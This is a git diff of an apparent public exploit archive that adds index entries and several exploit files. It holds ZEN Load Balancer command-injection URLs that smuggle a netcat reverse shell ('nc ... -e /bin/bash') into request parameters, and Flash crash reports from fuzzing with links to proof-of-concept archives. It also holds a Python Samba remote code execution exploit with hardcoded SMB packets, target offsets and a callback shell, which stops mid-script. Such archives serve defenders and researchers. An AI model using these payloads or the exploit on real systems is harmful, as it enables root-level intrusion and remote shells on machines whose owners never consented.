diff --git a/files.csv b/files.csv index fb17d114a..f102bde35 100755 --- a/files.csv +++ b/files.csv @@ -34037,6 +34037,7 @@ id,file,description,date,author,platform,type,port 37706,platforms/linux/dos/37706.txt,"Libuser Library - Multiple Vulnerabilities",2015-07-27,"Qualys Corporation",linux,dos,0 37737,platforms/windows/local/37737.rb,"Heroes of Might and Magic III .h3m Map file Buffer Overflow",2015-08-07,metasploit,windows,local,0 37825,platforms/osx/local/37825.txt,"OS X 10.10.5 - XNU Local Privilege Escalation",2015-08-18,kpwn,osx,local,0 +37826,platforms/php/webapps/37826.txt,"WordPress Multiple Path Dislosure Vulnerabilities",2012-09-18,AkaStep,php,webapps,0 37751,platforms/php/webapps/37751.txt,"WordPress WPTF Image Gallery 1.03 - Aribtrary File Download",2015-08-10,"Larry W. Cashdollar",php,webapps,80 37752,platforms/php/webapps/37752.txt,"WordPress Recent Backups Plugin 0.7 - Arbitrary File Download",2015-08-10,"Larry W. Cashdollar",php,webapps,80 37705,platforms/php/webapps/37705.txt,"WordPress Unite Gallery Lite Plugin 1.4.6 - Multiple Vulnerabilities",2015-07-27,"Nitin Venkatesh",php,webapps,80 @@ -34130,6 +34131,7 @@ id,file,description,date,author,platform,type,port 37805,platforms/php/webapps/37805.txt,"TAGWORX.CMS 'cid' Parameter SQL Injection Vulnerability",2012-09-18,Crim3R,php,webapps,0 37806,platforms/cgi/webapps/37806.txt,"AxisInternet VoIP Manager Multiple Cross Site Scripting Vulnerabilities",2012-09-18,"Benjamin Kunz Mejri",cgi,webapps,0 37807,platforms/php/webapps/37807.txt,"VBulletin 4.1.12 'blog_plugin_useradmin.php' SQL Injection Vulnerability",2012-09-18,Am!r,php,webapps,0 +37808,platforms/windows/remote/37808.py,"Easy File Management Web Server 5.6 - USERID Remote Buffer Overflow",2015-08-18,"Tracy Turben",windows,remote,0 37809,platforms/php/webapps/37809.php,"Nuts CMS Remote PHP Code Injection / Execution",2015-08-17,"Yakir Wizman",php,webapps,80 37810,platforms/windows/dos/37810.txt,"FTP Commander 8.02 - SEH Overwrite",2015-08-18,"_ Un_N0n _",windows,dos,0 37811,platforms/php/webapps/37811.py,"Magento CE < 1.9.0.1 Post Auth RCE",2015-08-18,Ebrietas0,php,webapps,80 @@ -34142,3 +34144,63 @@ id,file,description,date,author,platform,type,port 37820,platforms/php/webapps/37820.txt,"CodoForum 3.3.1 - Multiple SQL Injection Vulnerabilities",2015-08-18,"Curesec Research Team",php,webapps,80 37821,platforms/php/webapps/37821.txt,"BigTree CMS 4.2.3 - Authenticated SQL Injection Vulnerabilities",2015-08-18,"Curesec Research Team",php,webapps,80 37822,platforms/php/webapps/37822.txt,"WordPress WP Symposium Plugin 15.1 - Blind SQL Injection",2015-08-18,dxw,php,webapps,80 +37827,platforms/php/webapps/37827.txt,"WordPress Purity Theme Multiple Cross Site Scripting Vulnerabilities",2012-09-07,"Matan Azugi",php,webapps,0 +37828,platforms/php/webapps/37828.txt,"Poweradmin 'index.php' Cross Site Scripting Vulnerability",2012-09-20,Siavash,php,webapps,0 +37829,platforms/php/webapps/37829.txt,"WordPress MF Gig Calendar Plugin Cross Site Scripting Vulnerability",2012-09-20,"Chris Cooper",php,webapps,0 +37830,platforms/cgi/webapps/37830.txt,"ZEN Load Balancer Multiple Security Vulnerabilities",2012-09-24,"Brendan Coles",cgi,webapps,0 +37833,platforms/php/webapps/37833.txt,"YCommerce Multiple SQL Injection Vulnerabilities",2012-09-21,"Ricardo Almeida",php,webapps,0 +37834,platforms/linux/remote/37834.py,"Samba 3.5.11/3.6.3 Unspecified Remote Code Execution Vulnerability",2012-09-24,kb,linux,remote,0 +37835,platforms/php/webapps/37835.html,"WordPress Cross Site Request Forgery Vulnerability",2012-09-22,AkaStep,php,webapps,0 +37836,platforms/php/webapps/37836.txt,"WordPress Token Manager Plugin 'tid' Parameter Cross Site Scripting Vulnerability",2012-09-25,TheCyberNuxbie,php,webapps,0 +37837,platforms/php/webapps/37837.html,"WordPress Sexy Add Template Plugin Cross Site Request Forgery Vulnerability",2012-09-22,the_cyber_nuxbie,php,webapps,0 +37838,platforms/php/webapps/37838.txt,"Neturf eCommerce Shopping Cart 'SearchFor' Parameter Cross Site Scripting Vulnerability",2011-12-30,farbodmahini,php,webapps,0 +37839,platforms/linux/dos/37839.txt,"Flash PCRE Regex Compilation Zero-Length Assertion Arbitrary Bytecode Execution",2015-08-19,"Google Security Research",linux,dos,0 +37840,platforms/windows/remote/37840.txt,"Flash Broker-Based Sandbox Escape via Forward Slash Instead of Backslash",2015-08-19,KeenTeam,windows,remote,0 +37841,platforms/windows/remote/37841.txt,"Flash Broker-Based Sandbox Escape via Unexpected Directory Lock",2015-08-19,KeenTeam,windows,remote,0 +37842,platforms/windows/remote/37842.txt,"Flash Broker-Based Sandbox Escape via Timing Attack Against File Moving",2015-08-19,KeenTeam,windows,remote,0 +37843,platforms/windows/dos/37843.txt,"Flash Player Integer Overflow in Function.apply",2015-08-19,"Google Security Research",windows,dos,0 +37844,platforms/windows/dos/37844.txt,"Flash AVSS.setSubscribedTags Use After Free Memory Corruption",2015-08-19,"Google Security Research",windows,dos,0 +37845,platforms/windows/dos/37845.txt,"Flash Uninitialized Stack Variable MPD Parsing Memory Corruption",2015-08-19,bilou,windows,dos,0 +37846,platforms/windows/dos/37846.txt,"Flash Issues in DefineBitsLossless and DefineBitsLossless2 Leads to Using Uninitialized Memory",2015-08-19,bilou,windows,dos,0 +37847,platforms/windows/dos/37847.txt,"Flash AS2 Use After Free in TextField.filters",2015-08-19,bilou,windows,dos,0 +37848,platforms/windows/dos/37848.txt,"Flash AS2 Use After Free While Setting TextField.filters",2015-08-19,bilou,windows,dos,0 +37849,platforms/windows/dos/37849.txt,"Flash Use-After-Free in Display List Handling",2015-08-19,KeenTeam,windows,dos,0 +37850,platforms/multiple/dos/37850.txt,"Flash Use-After-Free in NetConnection.connect",2015-08-19,"Google Security Research",multiple,dos,0 +37851,platforms/multiple/remote/37851.txt,"Flash Boundless Tunes - Universal SOP Bypass Through ActionSctipt's Sound Object",2015-08-19,"Google Security Research",multiple,remote,0 +37852,platforms/multiple/dos/37852.txt,"Adobe Flash Use-After-Free When Setting Variable",2015-08-19,"Google Security Research",multiple,dos,0 +37853,platforms/windows/dos/37853.txt,"Flash AS2 Use After Free in DisplacementMapFilter.mapBitmap",2015-08-19,"Google Security Research",windows,dos,0 +37854,platforms/windows/dos/37854.txt,"Flash Use-After-Free with MovieClip.scrollRect in AS2",2015-08-19,"Google Security Research",windows,dos,0 +37855,platforms/multiple/dos/37855.txt,"Adobe Flash Use-After-Free When Setting Value",2015-08-19,"Google Security Research",multiple,dos,0 +37856,platforms/windows/dos/37856.txt,"Adobe Flash Out-of-Bounds Memory Read While Parsing a Mutated SWF File",2015-08-19,"Google Security Research",windows,dos,0 +37857,platforms/windows/dos/37857.txt,"Adobe Flash Out-of-Bounds Memory Read While Parsing a Mutated SWF File (2)",2015-08-19,"Google Security Research",windows,dos,0 +37858,platforms/windows/dos/37858.txt,"Adobe Flash Out-of-Bounds Memory Read While Parsing a Mutated TTF File Embedded in SWF",2015-08-19,"Google Security Research",windows,dos,0 +37859,platforms/multiple/dos/37859.txt,"Adobe Flash Use-After-Free in XML.childNodes",2015-08-19,"Google Security Research",multiple,dos,0 +37860,platforms/windows/dos/37860.txt,"Flash Use-After-Free with Color.setRGB in AS2",2015-08-19,bilou,windows,dos,0 +37861,platforms/windows/dos/37861.txt,"Flash AS2 Use-After-Free in DisplacementMapFilter.mapBitmap (2)",2015-08-19,bilou,windows,dos,0 +37862,platforms/windows/dos/37862.txt,"Adobe Flash Out-of-Bounds Read in UTF Conversion",2015-08-19,"Google Security Research",windows,dos,0 +37863,platforms/multiple/dos/37863.txt,"Adobe Flash Use-After-Free in scale9Grid",2015-08-19,"Google Security Research",multiple,dos,0 +37864,platforms/multiple/dos/37864.txt,"Adobe Flash Use-After-Free in Drawing Methods _this_",2015-08-19,"Google Security Research",multiple,dos,0 +37865,platforms/multiple/dos/37865.txt,"Adobe Flash Use-After-Free in attachMovie",2015-08-19,"Google Security Research",multiple,dos,0 +37866,platforms/linux/dos/37866.txt,"Adobe Flash Pointer Crash in Drawing and Bitmap Handling",2015-08-19,"Google Security Research",linux,dos,0 +37867,platforms/linux/dos/37867.txt,"Adobe Flash Pointer Crash After Continuing Slow Script",2015-08-19,"Google Security Research",linux,dos,0 +37868,platforms/linux/dos/37868.txt,"Adobe Flash Bad Dereference at 0x23c on Linux x64",2015-08-19,"Google Security Research",linux,dos,0 +37869,platforms/linux/dos/37869.txt,"Adobe Flash Pointer Crash in Button Handling",2015-08-19,"Google Security Research",linux,dos,0 +37870,platforms/linux/dos/37870.txt,"Adobe Flash Pointer Crash in XML Handling",2015-08-19,"Google Security Research",linux,dos,0 +37871,platforms/multiple/dos/37871.txt,"Adobe Flash Use-After-Free in swapDepths",2015-08-19,"Google Security Research",multiple,dos,0 +37872,platforms/multiple/dos/37872.txt,"Adobe Flash Bad Write in XML When Callback Modifies XML Tree During Property Delete",2015-08-19,"Google Security Research",multiple,dos,0 +37873,platforms/multiple/dos/37873.txt,"Adobe Flash Use-After-Free in createTextField",2015-08-19,"Google Security Research",multiple,dos,0 +37874,platforms/multiple/dos/37874.txt,"Adobe Flash Type Confusion in TextRenderer.setAdvancedAntialiasingTable",2015-08-19,"Google Security Research",multiple,dos,0 +37875,platforms/windows/dos/37875.txt,"Adobe Flash URL Resource Use-After-Free",2015-08-19,"Google Security Research",windows,dos,0 +37876,platforms/lin_amd64/dos/37876.txt,"Adobe Flash XMLSocket Destructor Not Cleared Before Setting User Data in connect",2015-08-19,"Google Security Research",lin_amd64,dos,0 +37877,platforms/multiple/dos/37877.txt,"Adobe Flash Use-After-Free in TextField.gridFitType",2015-08-19,"Google Security Research",multiple,dos,0 +37878,platforms/multiple/dos/37878.txt,"Adobe Flash: FileReference Class Type Confusion",2015-08-19,"Google Security Research",multiple,dos,0 +37879,platforms/lin_amd64/dos/37879.txt,"Adobe Flash Heap-Based Buffer Overflow Loading FLV File with Nellymoser Audio Codec",2015-08-19,"Google Security Research",lin_amd64,dos,0 +37880,platforms/lin_amd64/dos/37880.txt,"Adobe Flash Heap-Based Buffer Overflow Due to Indexing Error When Loading FLV File",2015-08-19,"Google Security Research",lin_amd64,dos,0 +37881,platforms/win32/dos/37881.txt,"Adobe Flash Shared Object Type Confusion",2015-08-19,"Google Security Research",win32,dos,0 +37882,platforms/multiple/dos/37882.txt,"Adobe Flash Overflow in ID3 Tag Parsing",2015-08-19,"Google Security Research",multiple,dos,0 +37883,platforms/windows/dos/37883.txt,"Adobe Flash AS2 Use-After-Free in TextField.filters",2015-08-19,bilou,windows,dos,0 +37884,platforms/windows/dos/37884.txt,"Adobe Flash Heap Use-After-Free in SurfaceFilterList::C​reateFromScriptAtom",2015-08-19,bilou,windows,dos,0 +37885,platforms/php/webapps/37885.html,"up.time 7.5.0 Superadmin Privilege Escalation Exploit",2015-08-19,LiquidWorm,php,webapps,9999 +37886,platforms/php/webapps/37886.txt,"up.time 7.5.0 XSS And CSRF Add Admin Exploit",2015-08-19,LiquidWorm,php,webapps,9999 +37887,platforms/php/webapps/37887.txt,"up.time 7.5.0 Arbitrary File Disclose And Delete Exploit",2015-08-19,LiquidWorm,php,webapps,9999 +37888,platforms/php/webapps/37888.txt,"up.time 7.5.0 Upload And Execute File Exploit",2015-08-19,LiquidWorm,php,webapps,9999 diff --git a/platforms/cgi/webapps/37830.txt b/platforms/cgi/webapps/37830.txt new file mode 100755 index 000000000..80ad0caf4 --- /dev/null +++ b/platforms/cgi/webapps/37830.txt @@ -0,0 +1,17 @@ +source: http://www.securityfocus.com/bid/55638/info + +ZEN Load Balancer is prone to the following security vulnerabilities: + +1. Multiple arbitrary command-execution vulnerabilities +2. Multiple information-disclosure vulnerabilities +3. An arbitrary file-upload vulnerability + +An attacker can exploit these issues to execute arbitrary commands, upload arbitrary files to the affected computer, or disclose sensitive-information. + +ZEN Load Balancer 2.0 and 3.0 rc1 are vulnerable. + +http://www.example.com/index.cgi?id=2-2&filelog=%26nc+192.168.1.1+4444+-e+/bin/bash;&nlines=1&action=See+logs +http://www.example.com/index.cgi?id=2-2&filelog=#&nlines=1%26nc+192.168.1.1+4444+-e+/bin/bash;&action=See+logs +http://www.example.com/index.cgi?id=3-2&if=lo%26nc+192.168.1.1+4444+-e+/bin/bash%26&status=up&newip=0.0.0.0&netmask=255.255.255.0&gwaddr=&action=Save+%26+Up! +http://www.example.com/config/global.conf +http://www.example.com/backup/ \ No newline at end of file diff --git a/platforms/lin_amd64/dos/37876.txt b/platforms/lin_amd64/dos/37876.txt new file mode 100755 index 000000000..9f5604773 --- /dev/null +++ b/platforms/lin_amd64/dos/37876.txt @@ -0,0 +1,40 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +This issue is a variant of issue 192 , which the fix did not address. + +If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection. + +A PoC is as follows: + +class subsocket extends flash.display.BitmapData{ + + + public function subsocket(){ + + var n = {valueOf : func}; + this.valueOf = func; + var x = new XMLSocket(); + + x.connect.call(this, "127.0.0.1", this); + +} + +function func(){ + + if(this){ + } + this.__proto__ = {}; + this.__proto__.__constructor__ = flash.display.BitmapData; + super(10, 10, true, 10); + return 80; + } + + +} + + +A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37876.zip + diff --git a/platforms/lin_amd64/dos/37879.txt b/platforms/lin_amd64/dos/37879.txt new file mode 100755 index 000000000..6f4fcfad7 --- /dev/null +++ b/platforms/lin_amd64/dos/37879.txt @@ -0,0 +1,24 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=425&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +To reproduce, host the attached files appropriately and: + +http://localhost/LoadMP4.swf?file=crash4000368.flv + +If there is no crash at first, refresh the page a few times. + +With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this: + +=> 0x00007f7789d081bb <__memmove_ssse3_back+443>: movaps %xmm1,-0x10(%rdi) + +rdi 0x7f7778d69200 + +7f777894b000-7f7778d69000 rw-p 00000000 00:00 0 +7f7778d69000-7f7778d88000 ---p 00000000 00:00 0 + +This looks very like a heap-based buffer overflow that just happens to have walked off the end of the committed heap. + +Also, this bug bears disturbing similarities to CVE-2015-3043, see for example: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37879.zip + diff --git a/platforms/lin_amd64/dos/37880.txt b/platforms/lin_amd64/dos/37880.txt new file mode 100755 index 000000000..83aa08faa --- /dev/null +++ b/platforms/lin_amd64/dos/37880.txt @@ -0,0 +1,24 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=426&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +To reproduce, host the attached files appropriately, and: + +http://localhost/LoadMP4.swf?file=crash3006694.flv + +If there is no crash at first, refresh the page a few times. + +With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this: + +=> 0x00007f7779846eee: mov %ax,(%rdi,%rdx,2) + +rax 0xff69 +rdi 0x7f7778b70000 +rdx 0x160b + +7f777861e000-7f7778b72000 rw-p 00000000 00:00 0 +7f7778b72000-7f7779228000 ---p 00000000 00:00 0 + +It looks like an indexing error; the rdi "base" address is in bounds but add on 2*rdx and the address is not in bounds. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37880.zip + diff --git a/platforms/linux/dos/37839.txt b/platforms/linux/dos/37839.txt new file mode 100755 index 000000000..7928fb907 --- /dev/null +++ b/platforms/linux/dos/37839.txt @@ -0,0 +1,63 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=224&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There’s an error in the PCRE engine version used in Flash that allows the execution of arbitrary PCRE bytecode, with potential for memory corruption and RCE. + +This issue is a duplicate of http://bugs.exim.org/show_bug.cgi?id=1546 originally reported to PCRE upstream by mikispag; I rediscovered the issue fuzzing Flash so have filed this bug report to track disclosure deadline for Adobe. + +The issue occurs in the handling of zero-length assertions; ie assertions where the object of the assertion is prepended with the OP_BRAZERO operator. + +Simplest testcase that will crash in an ASAN build is the following: + +(?(?)?) + +This is pretty much a nonsense expression, and I'm not sure why it compiles successfully; but it corresponds to the statement that 'assert that named group 'a' optionally matches'; which is tautologically true regardless of 'a'. + +Regardless, we emit the following bytecode: + +0000 5d0012 93 BRA [18] +0003 5f000c 95 COND [12] +0006 66 102 BRAZERO +0007 5e00050001 94 CBRA [5, 1] +000c 540005 84 KET [5] +000f 54000c 84 KET [12] +0012 540012 84 KET [18] +0015 00 0 END + +When this is executed, we reach the following code: + +/* The condition is an assertion. Call match() to evaluate it - setting +the final argument match_condassert causes it to stop at the end of an +assertion. */ + +else + { + RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL, + match_condassert, RM3); + if (rrc == MATCH_MATCH) + { + condition = TRUE; + ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2); + while (*ecode == OP_ALT) ecode += GET(ecode, 1); <---- ecode is out of bounds at this point. + +If we look at the execution trace for this expression, we can see where this code goes wrong: + +exec 0x600e0000dfe4 93 [0x60040000dfd0 41] +exec 0x600e0000dfe7 95 [0x60040000dfd0 41] +exec 0x600e0000dfea 102 [0x60040000dfd0 41] <--- RMATCH recursive match +exec 0x600e0000dfeb 94 [0x60040000dfd0 41] +exec 0x600e0000dff0 84 [0x60040000dfd0 41] +exec 0x600e0000dff3 84 [0x60040000dfd0 41] +exec 0x600e0000dff6 84 [0x60040000dfd0 41] +exec 0x600e0000dff9 0 [0x60040000dfd0 41] <--- recursive match returns +before 0x600e0000dfe7 24067 <--- ecode == 0x...dfe7 +after 0x600e00013dea + +If we look at the start base for our regex, it was based at dfe4; so dfe7 is the OP_COND, as expected. Looking at the next block of code, we're clearly expecting the assertion to be followed by a group; likely OP_CBRA or another opcode that has a 16-bit length field following the opcode byte. + +ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2); + +In this case, the insertion of the OP_BRAZERO has resulted in the expected OP_CBRA being shifted forward by a byte to 0x...dfeb; and this GET results in the value of 0x5e00 + 1 + LINK_SIZE being added to the ecode pointer, instead of the correct 0x0005 + 1 + LINK_SIZE, resulting in bytecode execution hopping outside of the allocated heap buffer. + +See attached for a crash PoC for the latest Chrome/Flash on x64 linux. + +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37839.zip diff --git a/platforms/linux/dos/37866.txt b/platforms/linux/dos/37866.txt new file mode 100755 index 000000000..e6f02f573 --- /dev/null +++ b/platforms/linux/dos/37866.txt @@ -0,0 +1,37 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=396&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +A nasty looking crash is manifesting in various different ways under fuzzing, apparently related to drawing and bitmap handling. + +A trigger is attached, signal_sigsegv_7ffff5b5aee2_252_0688bbd450e7c095265d00be2fca50ab.swf + +The base file from which this fuzz case was generated is attached, 0688bbd450e7c095265d00be2fca50ab.swf + +The crash on 64-bit Linux looks like this: + +=> 0x00007f69314b8f7d: cmpl $0xc,0x174(%rax) + +rax 0x83071500ff0300 36881008741516032 + +If we trace through the usages of %rax, we can get to some bad writes pretty easily: + +=> 0x00007f69314b8f7d: cmpl $0xc,0x174(%rax) + 0x00007f69314b8f84: je 0x7f69314b8fa0 +... + 0x00007f69314b8fa0: mov (%rax),%rdi <-- rdi compromised + 0x00007f69314b8fa3: callq 0x7f69314b8810 +... + 0x00007f69314b8810: mov (%rsi),%edx + 0x00007f69314b8812: cmp $0x7ffffff,%edx + 0x00007f69314b8818: je 0x7f69314b8862 + 0x00007f69314b881a: mov 0x10(%rdi),%eax + 0x00007f69314b881d: cmp $0x7ffffff,%eax + 0x00007f69314b8822: je 0x7f69314b8868 + 0x00007f69314b8824: sub $0x1,%edx + 0x00007f69314b8827: cmp %eax,%edx + 0x00007f69314b8829: cmovg %eax,%edx + 0x00007f69314b882c: mov 0x14(%rdi),%eax + 0x00007f69314b882f: mov %edx,0x10(%rdi) <---- rdi written to + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37866.zip + diff --git a/platforms/linux/dos/37867.txt b/platforms/linux/dos/37867.txt new file mode 100755 index 000000000..955e9d140 --- /dev/null +++ b/platforms/linux/dos/37867.txt @@ -0,0 +1,22 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=397&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +Running the attached swf file in Google Chrome (Linux x64) will eventually result in dialog offering to terminate the slow script. (Not the Google Chrome infobar that says that Flash isn't responding, but the dialog that appears after that.) + +Upon electing to terminate the script, a crash occurs. + +It is not known whether this bug can be triggered or not without user interaction. + +The crashing swf is signal_sigsegv_7ffff5ce5ea4_6963_b1d6342468487426c7ea26c725453e7d.swf + +The base file from which the mutated file was generated is b1d6342468487426c7ea26c725453e7d.swf + +On Linux x64, the crash looks like this: + +=> 0x00007f6931525318: andl $0xffffffbf,0x3c(%rax) +rax 0x7ff8000000000000 9221120237041090560 + +And if we look back in the assembly a bit, the wild value has come from %rbx that points to a block of wild values. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37867.zip + diff --git a/platforms/linux/dos/37868.txt b/platforms/linux/dos/37868.txt new file mode 100755 index 000000000..458e6f2c5 --- /dev/null +++ b/platforms/linux/dos/37868.txt @@ -0,0 +1,13 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=398&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +The attached sample, signal_sigsegv_7ffff603deef_1525_268381c02bc3b05c84578ebaeafc02f0.swf, typically crashes in this way on my Linux x64 build (Flash v17.0.0.188): + +=> 0x00007f693155bf58: mov (%rdi),%rbx +rdi 0x23c 572 + +At first glance this might appear to be a NULL dereference but sometimes it crashes trying to access 0xc8 and different builds have shown crashes at much wilder addresses, so there is probably a use-after-free or other non-deterministic condition going on. For example, our fuzzing cluster saw a crash at 0x400000001. + +The base sample from which the fuzz case is derived is also attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37868.zip diff --git a/platforms/linux/dos/37869.txt b/platforms/linux/dos/37869.txt new file mode 100755 index 000000000..6fb12f4e7 --- /dev/null +++ b/platforms/linux/dos/37869.txt @@ -0,0 +1,11 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=399&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +The attached sample, signal_sigsegv_7ffff60a1429_9554_f4dc661554237404dfe394d4c6c3e674.swf, crashes in this manner on Linux x64: + +=> 0x00007f693158481f: movzbl (%rcx),%r11d +rcx 0x3102ffffecfd 53888954658045 + +The base sample from which this fuzz case was generated is also attached. We believe this may be related to button handling. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37869.zip diff --git a/platforms/linux/dos/37870.txt b/platforms/linux/dos/37870.txt new file mode 100755 index 000000000..0f4990e61 --- /dev/null +++ b/platforms/linux/dos/37870.txt @@ -0,0 +1,24 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=400&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +The attached sample file, signal_sigsegv_7ffff637297a_8900_e3f87b25c25db8f9ec3c975f8c1211cc.swf, crashes, perhaps relating to XML handling. + +The crash looks like this on Linux x64: + +=> 0x00007f6931226f22: mov 0x8(%rcx),%eax +rcx 0x303030303030300 217020518514230016 + +The wider context shows that the wild pointer target can be incremented with this vulnerability, which is typically enough for an exploit: + +=> 0x00007f6931226f22: mov 0x8(%rcx),%eax <--- read + 0x00007f6931226f25: test %eax,%eax + 0x00007f6931226f27: je 0x7f6931226f80 + 0x00007f6931226f29: test $0x40000000,%eax + 0x00007f6931226f2e: jne 0x7f6931226f80 + 0x00007f6931226f30: add $0x1,%eax <--- increment + 0x00007f6931226f33: cmp $0xff,%al + 0x00007f6931226f35: mov %eax,0x8(%rcx) <--- write back + +The base sample from which this fuzz case was generated is also attached, e3f87b25c25db8f9ec3c975f8c1211cc.swf + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37870.zip diff --git a/platforms/linux/remote/23811.c b/platforms/linux/remote/23811.c index e265ee8a9..055a296c4 100755 --- a/platforms/linux/remote/23811.c +++ b/platforms/linux/remote/23811.c @@ -1,5 +1,6 @@ source: http://www.securityfocus.com/bid/9871/info + It has been reported that Mathopd is prone to a remote buffer overflow vulnerability. The issue arises due to a failure to check the bounds of a buffer storing user-supplied input. It may be possible for attackers to leverage this vulnerability to execute arbitrary instructions on the affected system. Any code executed would be in the security context of the web server process. @@ -523,4 +524,4 @@ int main(int argc, char **argv, char **env) { FREE(target); log("done.\n"); return 0; -} \ No newline at end of file +} diff --git a/platforms/linux/remote/37834.py b/platforms/linux/remote/37834.py new file mode 100755 index 000000000..ac1af9578 --- /dev/null +++ b/platforms/linux/remote/37834.py @@ -0,0 +1,264 @@ +source: http://www.securityfocus.com/bid/55655/info + +Samba is prone to an unspecified remote code-execution vulnerability. + +An attacker can exploit this issue to execute arbitrary code with root privileges. Failed exploit attempts will cause a denial-of-service condition. + +#!/usr/bin/python +# +# finding targets 4 31337z: +# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1' +# -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell +# found by eax samba 0day godz (loljk) + + +from binascii import hexlify, unhexlify +import socket +import threading +import SocketServer +import sys +import os +import time +import struct + +targets = [ + { + "name" : "samba_3.6.3-debian6", + "chunk_offset" : 0x9148, + "system_libc_offset" : 0xb6d003c0 + }, + { + "name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)", + "chunk_offset" : 4560, + "system_libc_offset" : 0xb20 + }, + { + "name" : "target_finder (hardcode correct system addr)", + "chunk_offset" : 0, + "system_libc_offset" : 0xb6d1a3c0, + "finder": True + } +] + +do_brute = True +rs = 1024 +FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) + +def dump(src, length=32): + result=[] + for i in xrange(0, len(src), length): + s = src[i:i+length] + hexa = ' '.join(["%02x"%ord(x) for x in s]) + printable = s.translate(FILTER) + result.append("%04x %-*s %s\n" % (i, length*3, hexa, printable)) + return ''.join(result) + + +sploitshake = [ + # HELLO + "8100004420434b4644454e4543464445" + \ + "46464346474546464343414341434143" + \ + "41434143410020454745424644464545" + \ + "43455046494341434143414341434143" + \ + "4143414341414100", + + # NTLM_NEGOT + "0000002fff534d427200000000000000" + \ + "00000000000000000000000000001d14" + \ + "00000000000c00024e54204c4d20302e" + \ + "313200", + + # SESSION_SETUP + "0000004bff534d427300000000080000" + \ + "000000000000000000000000ffff1d14" + \ + "000000000dff000000ffff02001d1499" + \ + "1f00000000000000000000010000000e" + \ + "000000706f736978007079736d6200", + + # TREE_CONNECT + "00000044ff534d427500000000080000" + \ + "000000000000000000000000ffff1d14" + \ + "6400000004ff00000000000100190000" + \ + "5c5c2a534d425345525645525c495043" + \ + "24003f3f3f3f3f00", + + # NT_CREATE + "00000059ff534d42a200000000180100" + \ + "00000000000000000000000001001d14" + \ + "6400000018ff00000000050016000000" + \ + "000000009f0102000000000000000000" + \ + "00000000030000000100000040000000" + \ + "020000000306005c73616d7200" +] + +pwnsauce = { + 'smb_bind': \ + "00000092ff534d422500000000000100" + \ + "00000000000000000000000001001d14" + \ + "6400000010000048000004e0ff000000" + \ + "0000000000000000004a0048004a0002" + \ + "002600babe4f005c504950455c000500" + \ + "0b03100000004800000001000000b810" + \ + "b8100000000001000000000001007857" + \ + "34123412cdabef000123456789ab0000" + \ + "0000045d888aeb1cc9119fe808002b10" + \ + "486002000000", + + 'data_chunk': \ + "000010efff534d422f00000000180000" + \ + "00000000000000000000000001001d14" + \ + "640000000eff000000babe00000000ff" + \ + "0000000800b0100000b0103f00000000" + \ + "00b0100500000110000000b010000001" + \ + "0000009810000000000800", + + 'final_chunk': \ + "000009a3ff534d422f00000000180000" + \ + "00000000000000000000000001001d14" + \ + "640000000eff000000babe00000000ff" + \ + "00000008006409000064093f00000000" + \ + "00640905000002100000006409000001" + \ + "0000004c09000000000800" +} + + +def exploit(host, port, cbhost, cbport, target): + global sploitshake, pwnsauce + + chunk_size = 4248 + + target_tcp = (host, port) + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(target_tcp) + + n = 0 + for pkt in sploitshake: + s.send(unhexlify(pkt)) + pkt_res = s.recv(rs) + n = n+1 + + fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b]) + + s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid))) + pkt_res = s.recv(rs) + + buf = "X"*20 # policy handle + level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS + buf+=struct.pack('count + buf+=struct.pack('&0 2>&0' &\x00" + + tmp = cmd*(816/len(cmd)) + tmp += 